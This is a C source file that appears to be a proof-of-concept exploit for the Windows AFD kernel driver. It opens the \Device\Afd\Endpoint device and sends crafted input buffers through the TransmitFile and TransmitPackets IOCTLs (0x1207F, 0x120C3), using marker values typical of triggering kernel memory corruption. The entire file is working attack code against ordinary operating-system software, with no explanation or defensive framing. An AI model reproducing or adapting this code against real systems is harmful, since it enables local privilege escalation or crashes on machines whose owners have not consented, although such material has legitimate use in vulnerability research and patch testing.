typedef struct _INPUT_AfdTransmitFile {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
DWORD field7;
DWORD field8;
DWORD field9;
DWORD field10;
DWORD field11;
DWORD field12;
} INPUT_AfdTransmitFile;
typedef struct _INPUT_AfdTransmitPackets {
DWORD field1;
DWORD field2;
DWORD field3;
DWORD field4;
DWORD field5;
DWORD field6;
} INPUT_AfdTransmitPackets;
int main()
{
DWORD bytesRet;
INPUT_AfdTransmitFile InputAfdTransmitFile = {0};
memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));
InputAfdTransmitFile.field7 = 0x13371337;
InputAfdTransmitFile.field8 = 0x15fcd9;
InputAfdTransmitFile.field11 = 1;
INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};
memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));
InputAfdTransmitPackets.field1 = 1;
InputAfdTransmitPackets.field2 = 0x0aaaaaaa;
/*
LPCSTR deviceStr = "\\\\?\\GLOBALROOT\\Device\\Afd";
HANDLE hDevice = CreateFile( deviceStr, \
GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, \
FILE_SHARE_READ, \
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
*/
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hDevice = NULL;
UNICODE_STRING DeviceStr = {0};
RtlInitUnicodeString(&DeviceStr, L"\\Device\\Afd\\Endpoint");
OBJECT_ATTRIBUTES oa = {0};
oa.Length = 0x18;
oa.RootDirectory = 0;
oa.Attributes = 0x42;
oa.ObjectName = &DeviceStr;
oa.SecurityDescriptor = 0;
oa.SecurityQualityOfService = 0;
printf("%X\n",NtCreateFile(&hDevice, 0xc0140000, &oa, &IoStatusBlock, 0, 0, 3u, 3u, 0, NULL, 0));
printf("%X\n", IoStatusBlock.Status);
__debugbreak();
DeviceIoControl((HANDLE)hDevice, 0X1207F, (LPVOID)&InputAfdTransmitFile, \
sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);
DeviceIoControl((HANDLE)hDevice, 0X120C3, (LPVOID)&InputAfdTransmitPackets, \
sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);
return 0;
}
